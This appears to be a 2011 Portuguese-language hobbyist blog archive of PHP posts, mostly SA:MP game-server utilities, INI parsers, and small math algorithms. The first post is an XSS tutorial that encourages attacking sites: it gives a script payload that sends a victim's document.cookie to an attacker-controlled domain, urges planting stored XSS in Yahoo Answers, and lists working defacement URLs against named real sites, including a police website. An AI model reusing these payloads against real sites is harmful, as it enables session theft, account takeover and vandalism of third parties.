CHAT MAIOR
Mostrando postagens com marcador PHP. Mostrar todas as postagens
Mostrando postagens com marcador PHP. Mostrar todas as postagens

1 de out. de 2011

[Tutorial] Vulnerabilidade XSS (leve explicada) (web programação)

http://pt.wikipedia.org/wiki/Cross-site_scripting

Introdução:
Bem olá a todos.
Como prometido, irei fazer um tutorial de como fazer a injeção de códigos javascript (maliciosos ou não) em um site.

Está técnica se chama XSS (cross site scripting) e é encontrado MILHARES de sites com está vulnerabilidade todos os dias.

Está técnica é muito usada em query strings (popularmente dito método $_GET em php), mas também existem em métodos como $_POST, mas a metodologia é sempre a mesma.

Uso:
Basicamente o uso do XSS é injetar scripts javascript em páginas, de modo que elas sejam executadas no navegador do cliente.
Para achar um site vulnerável basicamente pegue uma página qualquer:

"pagina.php?erro=Ola Amigo"

Percebei nosso erro=Ola Amigo?

Caso no código PHP ter:

echo $_GET['erro'];

Ocorrerá de imprimir o que está no erro= (que no exemplo seria Ola Amigo)
Porém se eu colocar código javascript? Ai que está o ponto X da questão.
Ele executará o código javascript, caso eu colocar:

pagina.php?erro=<script>alert('site vulneravel a xss');</script>

O Código em negrito será exibido e mostrará um alerta.

Segurança
A principio não trás coisas ruim, mas já pensou o que se pode fazer executando javascript no computador de outro cliente na página que vocês quiserem?

Você pode pegar o document.cookie do cliente, por exemplo.
DOCUMENT.COOKIE armazena o cookie do documento atual, caso você pegar ele, você simplesmente estará com a senha e login do cara em suas mãos (é assim que funciona aquele negócio de cookies premium)

Então basta fazer uma função em ajax, para enviar o cookie do cara para seu site, exemplo:

pagina.php?erro=<script>enviarRequestAjax('www.suapaginaprapegacookie.com?cookie=' + document.cookie);</script>

Interessante, não acham? ..

Asssim como podemos colocar isto em comentários

Exemplo:
Estou no site do yahoo respostas
e coloco uma pergunta com o seguinte: <script>alert('xss');</script>
Então este código será minha pergunta, caso alguém acessar minha pergunta, verá este código, o que acontecerá de dar alertas, já pensou que loucura seria? Roubar a senha de vários usuários usando apenas document.cookie e uma vulnerabilidade xss.

Claro que Yahoo Resposta é um exemplo, mas lembre-se que MUITOS sites tem vulnerabilidade, eu digo porque já vi sites da globo, orkut, viva o linux, facebook e muitos outros com esta vulnerabilidade, é só uma questão de achar um e sair fazendo tudo que poder

Exemplo:

http://www.gmp.police.uk/live/nhoodv3.nsf/index-divisions.html?ReadForm&Division=</title><img%20src=http://lh4.ggpht.com/_Cl6M776htkA/TAj1lujVLgI/AAAAAAAACG0/JFbdemiuBqs/341%20-%20Imagensidiotas_-_Fuck_foda-se_police_policia.jpg%20/><font%20size%20=%201000>IPS%20TEAM%20CU</strong></br></br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>

http://www.ospaparazzi.com.br/busca/?q=%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E%20%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E%20%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E%20%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E

http://www.promix.com.br/home/busca.php?termo=%3Ch3%3ERSRSRSRS%3Cbr/%3E%3Cimg%20src=%22https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3zH0izqKEUn3UynM4z3wON4E7KPqgC6E5ad1EoOkjA_y7l0dp98FnDyWVI5d-WkT2bPcpn7qTyQ4wJ4r6qMBo_fHiwcpgi3IZ0-EduxhdCIpaH7lkk8FZ50vRP0SHlJ-R27BMHb2MeN0/s400/mulher+feia+b.JPG%22%20/%3E%3C/h3%3E

É isto ..

Abraços

31 de ago. de 2011

[PHP/JS/AJAX/CSS/FS/PAWN] Mapas Onlines SA:MP






Sistema de Mapas Online

Por Bruno da Silva


Hoje vou publicar uma pequena página que fiz ontem pela madrugada.
Se trata de um sistemas de mapa online, totalmente feito em javacript sem menor dificuldade de implementar ele.


Modo de uso
Mude a seguinte trecho da página mapa.html:

Você precisará mudar:
var siteUrl = "teste.php"; // página php para ler jogadores 
var tempoAtualizacao = 800; // tempo de atualização do mapa


Em ler_Players.php você precisará mudar:
$arquivo = "dadosMapa.txt"; // Localização dos arquivos do servidor


Enquanto ao salvarJogadores.amx precisará ser carregado no servidor


Download:
Aqui o pacote com arquivos:
http://pastebin.com/n5Lg9fZ1
http://69.162.95.21/index.php?action=5 (demonstração)

Créditos

Enfim, é apenas isto.
O sistema foi criado por mim (Bruno da Silva), por favor, mantenha os créditos.

Está bem simples, mas achei muito eficiente e leve, sem precisar do uso de APIs alheias.

Espero que gostem.

Abraços

11 de ago. de 2011

[PHP] Empregar Verbos

A algum tempo pensei em fazer um chat bot, porém para fazer algo eficiente tinha que fazer um código para detectar e empregar os verbos de forma correta.
Para não precisar conter um banco de dados enormes para cada verbo, resolvi criar um código de forma geral (não funcionando para verbos irregulares, claro)


Criado por Bruno da Silva

14 de jul. de 2011

[COD] Diferença de Datas PHP

O que faz?
Está super útil função retorna o número de dias em diferença de duas datas
É bem simples, otimizada e útil função


Link?
O link com exemplo encontra-se neste site
http://pastebin.com/Gutq5h18


Criado por:
Criado por Bruno da Silva

5 de jul. de 2011

[COD] Função para Traduzir Texto PHP

O que faz?
Traduzir texto com simples função php, feito através do tradutor da Google

Uso:

getTranslationText("texto para traduzir", "língua de entrada", " língua de saida");


Link -> http://pastebin.com/ruzTSdxG

Créditos:
Criado por Bruno da Silva (antigo nick DraKiNs)

Bom proveito, preserve os créditos

21 de jun. de 2011

[COD/PHP] Classe executar Servidor SA:MP

Este código foi feito para ligar servidores sa:mp através de php e bat.


O php executa o bat que posteriormente executa o aplicativo do sa:mp






Espero que gostem

~ DraKiNs

25 de mai. de 2011

[PROJETO] Auto Tabulador/Indentador de código

Parecido com a ferramenta de Draco Blue este sistema feito por mim em PHP faz uma simples indentação no seu código (aceitando códigos grandes).´
É bem simples de usar, acesse o site:

Cole seu código e clique em tabular, aguarde o processo ser terminado ...
Bom para quem está cansado dos loose indentations ..

É um projeto Beta, é possível que tenha alguns bugs, no entanto funcional de forma geral.

Espero que gostem galera.
Abraços

~DraKiNs

16 de mai. de 2011

[COD] Ranking em Arquivos INI [PHP]

Sistema de ranking em INI Files

Este sistema lê arquivos INI e faz uma classificação através de um sort (lembra da dúvida ..)
É bem simples porém muito bom para quem quer fazer um sistema de ranking baseado em sistema de arquivos Ini


http://pastebin.com/cZu50tMp

Pasta: Contas
Tag: Kills

É bom para servidores de jogos que usam este sistema (mu,samp,cs -etc)

Abraços galera

----
DraKiNs

8 de mai. de 2011

[PHP]Criando Imagens em php

Este é mais um projeto iPs Team,
com te projeto é possivel editar e criar assinaturas com scores
e servidores.


Download:
http://pastebin.com/XvfkfWxS

Créditos:
[iPs]Garfield

[CSS/HTML/JS] Sistema de login~

Introdução:
Este sistema é uma LOGIN LightBox com Activex para conexão ao PHP (sem atualizar a página)
Com validação em PHP FILES INI com senhas codificadas em UdbHash..


Login: DraKiNs
Senha: teste

Download
MediaFire

Créditos
[iPs]DraKiNs
[iPs]Garfield
[iPs]TeaM

7 de mai. de 2011

[PHP] Forçando o download de arquivo

Ismo Mesmo, com esta função poderá baixar qualquer arquivo do servidor!

como eu não sabias necas sobre php e resolvi aprender,
então a pouco tempo desenvolvi este código que serviria para meu painel,
como não deu certo resolvi posta-lo:


Pastebin: http://pastebin.com/FtdcViNy


Por [iPs]Garfield

13 de abr. de 2011

[COD] StrCpy - Copiar String Pawn

strcpy


Esta função copia uma string a outra de forma fácil

stock strcpy(_sStr[],sStr_[]) // (strdestino, strsource)
{
_sStr[0x0] = '\0';
return strcat(_sStr,sStr_,strlen(sStr_));
}

Por DraKiNs ~ [iPs]TeaM

10 de abr. de 2011

[COD] Código para Números Áureos (Sequência Fibonacci)

Sequência de Fibonacci
Introdução
Semana passada na escola estavamos aprendendo a Sequência Fibonacci (algo bem fácil),então me surgiu alguns trabalhos no qual precisavam criar alguns Números Aúreos aleatórios,no entanto eu com preguiça de fazer cáculo resolvi pegar um programa que fizesse isto na internet.

Após muito pesquisar me dou de cara com um algoritmo totalmente inviável e que demora horas para achar 100 números de ouro.

Pensando nisto criei um algoritmo a base dos estudos da escola,funcionando da seguinte forma.

0 1
(1 + 0) = 1
(1 + 1) = 2
(2 + 1) = 3
(3 + 2) = 5

Bem simples,ao contrário da outra forma que chamava 94191919x uma função até achar o número Fibonacci

Segue aqui a versão antiga -> Número de Fibonacci

Observe que este algoritmo demorá muito para achar um simples número.
Então olhem este método que 'faço', no qual demorá questão de segundos/milesegundos para imprimir alguns números de ouro..

Códigos

Fiz em Pawn e PHP,talvez tento fazer em delphi.

Pawn:


stock GenerateFibonacciNumber(iMaxVal)
{
new iFibonacci[4];
iFibonacci[1] = 1;

print("VALUE: 0"),print("VALUE: 1");
for(new i; i < iMaxVal; i++)
{
iFibonacci[3] = iFibonacci[1];
iFibonacci[1] = (iFibonacci[1] + iFibonacci[0]);
iFibonacci[0] = iFibonacci[3];
printf("VALUE: %d ",iFibonacci[1]);
}
return true;
}

PHP:

function GenerateFibonacciNumber($iMaxVal = 10)
{
$iFibonacci[4];
$iFibonacci[1] = 1;

echo(
"VALUE: 0
"
);
echo(
"VALUE: 1
"
);
for(
$i; $i < $iMaxVal; $i++)
{
$iFibonacci[3] = $iFibonacci[1];
$iFibonacci[1] = ($iFibonacci[1] + $iFibonacci[0]);
$iFibonacci[0] = $iFibonacci[3];

echo(
"VALUE: ".$iFibonacci[1]."
"
);
}
return
true;
}

Créditos
[iPs]DraKiNs
[iPs]TeaM
Professora de Matemática ._.

25 de mar. de 2011

[COD] Números Primos (Algoritmo)

Números Primos
Bom vou aqui postar um exemplo de código para pegar números primos feito em pawn e posteriormente adptado a php.

Vocês podem pegar sua propria lógica e adptar a seu sistema desejado,lembrando que estou ultilizando o Algoritmo Crivo de Eratóstenes.

function IsPrime($iValor)
{
$iCount = 4;

if( (
$iValor == 2) || ($iValor == 3) ) return true;
if( !(
$iValor % 2) || !($iValor % 3) || !($iValor % 4) || ($iValor == 1)) return false;

while(++
$iCount <= sqrt($iValor))
if( !(
$iValor % $iCount) && ($iValor != $iCount) ) return false;

return
true;
}

Aqui o código em pawn ultilizando librarys do sa:mp

stock IsPrime(iValor)
{
new
iCount = 4;

if( (
iValor == 2) || (iValor == 3) ) return true;
if( !(
iValor % 2) || !(iValor % 3) || !(iValor % 4) || (iValor == 1)) return false;

while(++
iCount < floatsqroot(iValor))
if( !(
iValor % iCount) && (iValor != iCount) ) return false;

return
true;
}

18 de mar. de 2011

[PHP] Fini PHP (Rápido)

Fini em PHP
Por DraKiNs

Introdução:
Ola gente hoje venho publicar um dos melhores sistema de tenho em mãos.
Se trata de um leitor de arquivos INI em PHP.que abriga todas funções de Fini e Dini.

Agora não precisa mais quebrar a cabeça para criar um simples sistema de WebStats.

Funções:

• Funções de Dini / Fini
• Algumas funções otimizadas e resumidas
• Adaptada para ser compactível com qualquer INI File
• Vem com método de codificarUdbHash e God Father

• Download • > http://pastebin.com/0q99ZKg8

Créditos:
Créditos e DraKiNs e SlashPT

Obrigado, e Tchau...

26 de fev. de 2011

[PHP] Scanner de Vírus em PHP

Scanner de Vírus em PHP
Por Bruno Silva / DraKiNs


Introdução:
A muito tempo pensei em criar um anti-vírus em php,mas infelizmente o tempo foi me apagando as esperanças pois em php é pouco difícil fazer isto,então para não ficar de maos vazias.
Resolvi criar um SCANNER não é um Anti-Vírus,é um site tipo Virus Total,só que feito por você e com seu próprio banco da dados

Funções
Ele não tem muitas funções,apenas enviamos arquivos e ele fala se o arquivo é ou não um vírus conforme o banco de dados.
O Banco de Dados seria uma string separada por '|' com Explode,apenas estou falando de forma mais acessivel.
O 'Banco de Dados' é feito todo em md5 por isto fiz o vídeo para ensinar como usa-lo

Tutorial
Neste vídeo no Youtube tem o Tutorial e Links para o arquivo


Links
index.html -> http://pastebin.com/raw.php?i=QNE9L1mU
scanner.php -> http://pastebin.com/raw.php?i=J0dW3Nre

Erros de Escrita
Bom existem alguns erros que deixei no vídeo,pois tudo foi feito ao vivo e rápido,mesmo assim criticas são aceitas,vale lembrar que isto é apenas a base de um scanner

Créditos
Criado por DraKiNs / Bruno
Source Code Total + Tutorial
Projeto [iPs]TeaM

Abraços

20 de dez. de 2010

[PHP] SendClientMessage

SendClienetMessage Generator
[FeK]Garfield

Introdução:
Este projeto é sobre uma das funções do samp, é muito facil de mecher.e nada de imagens.

Funções:
Este projeto é auto explicativo, você bota pra quem vai enviar a mensagen, e selecine a cor e a mensagem, muito simples.

Imagens

Créditos:
[FeK]Garfield
[FeK]Squad

Download:

15 de nov. de 2010

[PHP] Registro de clans

Introdução:
Hoje estou postando um sistema de registro de clans
dos queais já foi usado e totalmente sem bugs.

Resumo:
Este registro consistem em registrar seu clan e checar se ele existe ou não.

Imagens:
Clique em uma das imagens para visualiza-lo melhor.
Créditos:
[FeK]Garfield

Download:
Mediafire

6 de nov. de 2010

[PHP] Millisecond Converter



[FeK]Garfield

Introdução:
Olá.
Estive desenvolvendo durante 2 dias um sistema de converter tempo reais para Millesegundo.

Funções:
Várias função!, segundo,minuto,hora,dia,semana,Mes,ano!

Imagens


Créditos:
Créditos são totalmente a min!.
[ FeK ] Garfield & [ FeK ]Squad.

Download:

Para Visualizalo Melhor: clicar aqui
Para Ver Suorce apenas HTMLClique Aqui
Para Ver Suorce apenas PHPClique Aqui
Visite: www.feksquad.blogspot.com

Proibido a publicação deste sistema em outros blogs.

5 de nov. de 2010

[PHP] Gerador de Races

Este script baseado em PHp e javascript gera códigos para Races,lembrando que devido a ser PHP ele vem com alguns problemas nas Arrays que precisa ser corrigido manual (eles pulam linhas sozinhos)
O resto ele faz automatico:

http://feksquad.6te.net/Gerador/Races.html